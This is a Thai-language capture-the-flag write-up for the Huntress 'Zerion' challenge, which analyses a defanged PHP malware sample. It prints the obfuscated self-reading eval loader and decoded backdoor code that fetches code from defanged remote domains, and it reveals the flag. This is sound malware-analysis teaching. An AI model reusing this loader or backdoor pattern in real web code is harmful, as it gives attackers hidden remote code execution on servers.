../

Huntress Capture The Flag: Zerion

Zerion Author: @JohnHammond

We observed some odd network traffic, and found this file on our web server… can you find the strange domains that our systems are reaching out to?

NOTE, this challenge is based off of a real malware sample. We have done our best to “defang” the code, but out of abudance of caution it is strongly encouraged you only analyze this inside of a virtual environment separate from any production devices.

Download the file(s) below. Attachments: zerion

$ cat zerion
...
<?php $L66Rgr=explode(base64_decode("Pz4="),file_get_contents(__FILE__)); $L6CRgr=array(base64_decode("L3gvaQ=="),base64_decode("eA=="),base64_decode(strrev(str_rot13($L66Rgr[1]))));$L7CRgr = "d6d666e70e43a3aeaec1be01341d9f9d";preg_replace($L6CRgr[0],serialize(eval($L6CRgr[2])),$L6CRgr[1]);exit();?>==Dstfmoz5JnxNvolIUqyWUV7xFXa0lWtbQVaD1Wt8QVcNQZlNQrjNvWtZKolITpxtPXtbQVcNlW4qPV6NlW0qPV/NFXjNwZjtUZtLPVm1zpyOUWbtPV/NFXkNQZjtUZtLPVm1zpyOUWbtPV94PViMzocEPV7xlWgpPV6NlW3qPV/NFXlNQZjtUZtLPVm1zpyOUWbtPV94PViMzocEPV7xlWgpPV6NlWlqPV/NFX0NQZjtUZtLPVm1zpyOUWbtPV94PViMzocEPV7xFXa0lWtbQVaZ1Wt8QVcNQZ0NQrjNvWtZKolITpxtPXtbQVcNlW4qPV6NlWmqPV/NFXjNQAjtUZtLPVm1zpyOUWbtPV/NFX4NQZjtUZtLPVm1zpyOUWbtPV94PViMzocEPV7xlWgpPV6NlW3qPV/NFXjRQZjtUZtLPVm1zpyOUWbtPV94PViMzocEPV7xlWgpPV6NlWlqPV/NFXjVQZjtUZtLPVm1zpyOUWbtPV94PViMzocEPV7xFXa0lWtbQVaZ1Wt8QVcNQZ4NQrjNvWtZKolITpxtPXtbQVcNlW4qPV6NlWmqPV/NFXjNQBjtUZtLPVm1zpyOUWbtPV/NFXjDQZjtUZtLPVm1zpyOUWbtPV94PViMzocEPV7xlWgpPV6NlW3qPV/
...
...
...

เปิดไฟล์ดูก็จะรู้ว่าเป็น php script และไล่ฟังก์ชั่นต่างๆก็จะสรุปได้ว่าเป็นการอ่านข้อมูลในไฟล์สคริปต์อันนี้ “file_get_contents(FILE)” ที่ถูก encoding ด้วย base64 ไว้ โดยสคริปต์ก็จะทำการ decode ส่วนต่างๆออกมา มีตัวแปรที่สำคัญๆดังนี้

Pz4= เมื่อ decode จาก base64 จะได้ ?>
L3gvaQ== เมื่อ decode จาก base64 จะได้ /x/i
eA== เมื่อ decode จาก base64 จะได้ x

และยังมีฟังก์ชั่นที่น่าสนใจคือ strrev(str_rot13($L66Rgr[1]))

str_rot13 เป็นฟังก์ชั่นในการ encoding โดยการเปลี่ยนตัวอักษรเดิมไปเป็นตัวอักษรใหม่ ตัวที่13นับจากตัวมันเอง เช่น A=N B=O C=P … Z=M

strrev เป็นฟังก์ชั่นสลับตัวอักษรโดยเรียงไล่ให้ตัวแรกไปเป็นตัวสุดท้าย

พอเห็นว่ามันทำงานแบบนี้แล้วก็ใช้ CyberChef ช่วยแปลงทำไปทีละขั้นก็ได้คำตอบ

ROT13 -> Reverse -> From Base64

รูปคำตอบ

มันก็จะแปลงมาเป็นโค้ด php ที่อ่านได้

...
if (isset($_REQUEST['ac']) && isset($_REQUEST['path']) && isset($_REQUEST['api']) && isset($_REQUEST['t'])) { $code = GC('https://c.-wic5-.com/'); if(!$code){$code = GC('https://c.-oiv3-.com/?flag=flag{af10370d485952897d5183aa09e19883}
...

ไล่ดูก็จะเห็น flag

flag{af10370d485952897d5183aa09e19883}

/huntress/ /ctf/ /Zerion/